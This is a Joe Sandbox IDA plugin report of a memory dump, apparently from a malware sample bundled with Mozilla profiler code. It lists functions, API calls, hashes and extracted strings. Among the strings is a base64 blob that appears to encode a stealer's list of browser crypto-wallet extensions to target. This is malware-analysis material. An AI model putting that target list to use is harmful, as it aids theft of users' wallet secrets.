API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: bf06102d71366b0676df1500f21cb5259d1ea25c619f0084ab446310d35a6b76
Instruction ID: b1f1dd8b646d23c151141879282b1992e2d715922919b38e560aad3e27bb9d39
Opcode Fuzzy Hash: bf06102d71366b0676df1500f21cb5259d1ea25c619f0084ab446310d35a6b76
Instruction Fuzzy Hash: A6B19F356083908BCB14CF24C15065FB7E2AFC9318F194A1CE995A7791DB70E98ADBC2

Function 6CAF85F0 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAF8C7C
__aulldiv.LIBCMT ref: 6CAF8DD7

Strings

qfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuR, xrefs: 6CAF8778, 6CAF8A30

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: __aulldiv
String ID: qfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuR
API String ID: 3732870572-596887471
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 68b968b6badfafc6637c7c427cc772f047af5d77a77907fb9267ad43791eb2c7
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 11327331F011198BDF18CE9EC8A17EEB7B2FB89300F15853AE516BB790D6345D868B91

Function 6CAD6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CAD6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAD6E1E

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 445c9ab4b77a67d2e784f199cc8cbbee6277f8dd44d0493758c6fbd5853915b8
Instruction ID: 3d923828c33384443f501da256abc34e57a54e82dc0a747005d802a1d6561d9c
Opcode Fuzzy Hash: 445c9ab4b77a67d2e784f199cc8cbbee6277f8dd44d0493758c6fbd5853915b8
Instruction Fuzzy Hash: C5A17C746187858FD714CF24C590BAAFBF2BF88308F05495DE48A87B51DB70B888CB92

Function 6CAFB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CAFB720
RtlNtStatusToDosError.NTDLL ref: 6CAFB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CACFE3F,00000000,00000000,?,?,00000000,?,6CACFE3F), ref: 6CAFB760

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 4f8a9b029f24e7000a1faa7de283a3dd73ef111792a2420ae6cfed9529ed3160
Instruction ID: 62bfbcd9d614b7cd6b41c6684f839a9166a1a24a003ca07c0172d9b81c407224
Opcode Fuzzy Hash: 4f8a9b029f24e7000a1faa7de283a3dd73ef111792a2420ae6cfed9529ed3160
Instruction Fuzzy Hash: 99F0C2B0A4120CEEEF119AA1DC85BEF77BCDB08319F145229E52162AC1D774A5CCC662

Function 6CA9DFE0 Relevance: 3.2, Strings: 2, Instructions: 683COMMON

Download Yara Rule

Strings

upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx, xrefs: 6CA9E68D, 6CA9E6D8
vb25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2F, xrefs: 6CA9E652, 6CA9E847

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID: upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx$vb25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2F
API String ID: 0-3497259350
Opcode ID: e595611de889ce9d85069d4a6d2702dd663b3a818abca02a180bef39698eb332
Instruction ID: 3baad1dea3d2330e3506787bbba2cd27a423adaa04b3660b4427d555901fb244
Opcode Fuzzy Hash: e595611de889ce9d85069d4a6d2702dd663b3a818abca02a180bef39698eb332
Instruction Fuzzy Hash: A442B372A187508BD308CE3CC49135AF7E2BFC9354F198B2DE999A7791D734D9818B82

Function 6CAFB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CAA03D4,?), ref: 6CAFB955
NtQueryVirtualMemory.NTDLL ref: 6CAFB9A5

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 0c8db55f904df5bcd4847711eb4c8f15a583ec25859b672f512a0b8bdc0ce635
Instruction ID: 4316a04432c9db5c1de77b1cf2e36107c888ed2794e004a691f633ef9b4a0740
Opcode Fuzzy Hash: 0c8db55f904df5bcd4847711eb4c8f15a583ec25859b672f512a0b8bdc0ce635
Instruction Fuzzy Hash: D741D871F0021D9FDF04DFA9E895ADEB7B5EF88354F148229E415A7B04DB30A8858B91

Function 6CB0AC00 Relevance: 1.7, Strings: 1, Instructions: 445COMMON

Download Yara Rule

Strings

upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx, xrefs: 6CB0B024, 6CB0B0F1

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID: upAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnx
API String ID: 0-3917454776
Opcode ID: 2806d23a14c749d2c106c1d9a1ac6efafa9f5d3293d4456a73b7979e7386aea4
Instruction ID: 1ef69e1debec42962e195a825215307cd81eddb5d5dbd822dc7d7ad59c8fb1ad
Opcode Fuzzy Hash: 2806d23a14c749d2c106c1d9a1ac6efafa9f5d3293d4456a73b7979e7386aea4
Instruction Fuzzy Hash: 53F114717087858FDB00CE28C8907AABBE6EFC5318F158E2DE4D487791E774D8858B92

Function 6CAD5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CAA4A63,?,?), ref: 6CAD5F06

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 6bb15ebcd074e803f300aebcb33ac10a962cd2d6401d52a29aaa551b6b7f642a
Instruction ID: 6b2af993d8c33fe09b01b59e715fdc553f3468d8779abc7769f719725874287c
Opcode Fuzzy Hash: 6bb15ebcd074e803f300aebcb33ac10a962cd2d6401d52a29aaa551b6b7f642a
Instruction Fuzzy Hash: 09C1B0B5E012098BCB04CF99C5906EEBBF2FF8A318F29415DD8556BB45D732B885CB90

Function 6CB076E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: f58e26345d10694dc7439e758b1edcd0e86580a43179a7aec06dddcfc53b13eb
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 99320871E006598FCB14CF99C890AADFBB2FF88304F6481A9C949A7745D771AD86CF90

Function 6CB06E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: fcf46974f51743bf8e46549f1ba5450137b3a9267a7d260814bfecf9704ce657
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 3322E871E006598FDB14CF98C880AADFBF2FF88304F6481A9C949A7745D771A986CF90

Function 6CAC0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 6d6305b3f7e4df035e31823996de1aa190e7e52a8f5718335f69f2fae63521d0
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 19221875E04619CFDB14CF98C890AADFBB2FF88304F588699D54AA7705D730A986CF81

Function 6CA9C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 6605562eb95ee23d654d37cb4c269f4bc09fa0f69db8acdbd6340a77ddcc8b5d
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 14A1B171F1061A8FDB08CE69C8913AEB7F2AFC8358F188169D915E7781DB349D468BD0

Function 6CAD7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 8851ca59ba7bcb5a0721eb011cca9649ca2f10f86c4b664705b9f15ac59e5d4e
Instruction ID: 4ac4c6c408ad0de648d2292b9f88652f04307d59567c52ec1acfe420f298c9c2
Opcode Fuzzy Hash: 8851ca59ba7bcb5a0721eb011cca9649ca2f10f86c4b664705b9f15ac59e5d4e
Instruction Fuzzy Hash: FC716D75E012198FCF18CFA8D8905EDBBB2FF89314F29812ED815AB744D731A985CB90

Function 6CAD58E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 83dce9602860d9e3792333df7e8d8dfafadf28147837bbca161850e319a3a1b5
Instruction ID: 993ecbce7de827ac602d44216a8e5e278423835911eac29cd2ebdd6e89ea6b64
Opcode Fuzzy Hash: 83dce9602860d9e3792333df7e8d8dfafadf28147837bbca161850e319a3a1b5
Instruction Fuzzy Hash: E4817D75A012199FCB04CFADD8809EEBBF2FF89314F654269D411AB741D731B985CB90

Function 6CADCC00 Relevance: 76.7, APIs: 25, Strings: 26, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CAA582D), ref: 6CADCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CAA582D), ref: 6CADCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB0FE98,?,?,?,?,?,6CAA582D), ref: 6CADCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CAA582D), ref: 6CADCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CAA582D), ref: 6CADCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CAA582D), ref: 6CADCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAA582D), ref: 6CADCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CADCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CADCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CADCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CADCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CADCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CADCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CADCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CADCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CADCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CADCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CADCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CADCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CADCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CADCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CADCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CADCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CADCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CADCE8A

Strings

leaf, xrefs: 6CADCC66
screenshots, xrefs: 6CADCCD4
nativeallocations, xrefs: 6CADCDA8
stackwalk, xrefs: 6CADCCF8
java, xrefs: 6CADCC37
nostacksampling, xrefs: 6CADCD7C
markersallthreads, xrefs: 6CADCE42
b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn, xrefs: 6CADCF31
cpuallthreads, xrefs: 6CADCE16
fileio, xrefs: 6CADCC92
Unrecognized feature "%s"., xrefs: 6CADCEA0
default, xrefs: 6CADCC21
jsallocations, xrefs: 6CADCD0E
seqstyle, xrefs: 6CADCCE6
mainthreadio, xrefs: 6CADCC7C
samplingallthreads, xrefs: 6CADCE2C
power, xrefs: 6CADCE84
processcpu, xrefs: 6CADCE6E
audiocallbacktracing, xrefs: 6CADCDD4
ipcmessages, xrefs: 6CADCDBE
fileioall, xrefs: 6CADCCA8
preferencereads, xrefs: 6CADCD92
noiostacks, xrefs: 6CADCCBE
pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CADCF27
unregisteredthreads, xrefs: 6CADCE58
notimerresolutionchange, xrefs: 6CADCE00

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$b25mYW5sYmZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2Fn$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-677193563
Opcode ID: 6e12848b527844ef85041c2834d2e7d95a82e5e42af8e1b473e3b6822660c4ea
Instruction ID: 6d4b5c2b295ace16bfb8f3039dd80b4fcc60174def48e0d373b09836604335db
Opcode Fuzzy Hash: 6e12848b527844ef85041c2834d2e7d95a82e5e42af8e1b473e3b6822660c4ea
Instruction Fuzzy Hash: 3B51D9D0B452A522FE0034156D10BAF5B08FB1325EFA5003AFD49A2EC0FF24B29986B7

Function 6CAA47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAA4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA482D
__Init_thread_footer.LIBCMT ref: 6CAA484A

Part of subcall function 6CACAB3F: EnterCriticalSection.KERNEL32(6CB1E370,?,?,6CA93527,6CB1F6CC,?,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB49
Part of subcall function 6CACAB3F: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA93527,6CB1F6CC,?,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACAB7C

GetCurrentThreadId.KERNEL32 ref: 6CAA485F
GetCurrentThreadId.KERNEL32 ref: 6CAA487E
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CAA488B
free.MOZGLUE(?), ref: 6CAA493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA4956
free.MOZGLUE(00000000), ref: 6CAA4960
